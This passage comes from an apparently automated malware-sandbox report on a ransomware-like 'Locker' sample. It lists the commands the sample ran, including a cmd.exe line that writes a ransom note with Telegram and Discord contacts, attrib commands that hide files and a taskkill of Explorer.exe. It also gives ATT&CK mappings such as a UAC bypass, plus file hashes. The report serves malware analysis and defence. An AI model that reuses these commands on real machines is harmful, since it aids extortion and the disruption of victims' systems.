          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            PID:5636
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:2656
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          PID:3452
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
              PID:5628
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:4552
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill.exe /f /im Explorer.exe
            2⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4644

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Winlogon Helper DLL

              1
              T1547.004

              Privilege Escalation

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Winlogon Helper DLL

              1
              T1547.004

              Defense Evasion

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Hide Artifacts

              2
              T1564

              Hidden Files and Directories

              2
              T1564.001

              Impair Defenses

              1
              T1562

              Disable or Modify Tools

              1
              T1562.001

              Modify Registry

              4
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              info-Locker.txt
              • Path C:\Users\Admin\Desktop\info-Locker.txt
              • Size 107B
              • SHA256 661ff8f5470f9514f238a22a26ce0642b2311e664698cc2f6c1392f9c61e3a49
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              info-Locker.txt
              • Path F:\info-Locker.txt
              • Size 107B
              • SHA256 62d6a496b72466d658b2a076212ac0681910c7dd0c48a95cfc1311b8e0a632d2
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/2328-0-0x0000000000300000-0x000000000040C000-memory.dmp
              Download

              memory/2328-1-0x0000000004DC0000-0x0000000004E5C000-memory.dmp
              Download

              memory/2328-2-0x0000000005410000-0x00000000059B4000-memory.dmp
              Download

              memory/2328-3-0x0000000004F00000-0x0000000004F92000-memory.dmp
              Download

              memory/2328-4-0x0000000004EE0000-0x0000000004EF0000-memory.dmp
              Download

              memory/2328-5-0x0000000004E90000-0x0000000004E9A000-memory.dmp
              Download

              memory/2328-6-0x00000000050F0000-0x0000000005146000-memory.dmp
              Download

              memory/2328-7-0x0000000007CF0000-0x0000000007D56000-memory.dmp
              Download

              memory/2328-21-0x0000000004EE0000-0x0000000004EF0000-memory.dmp
              Download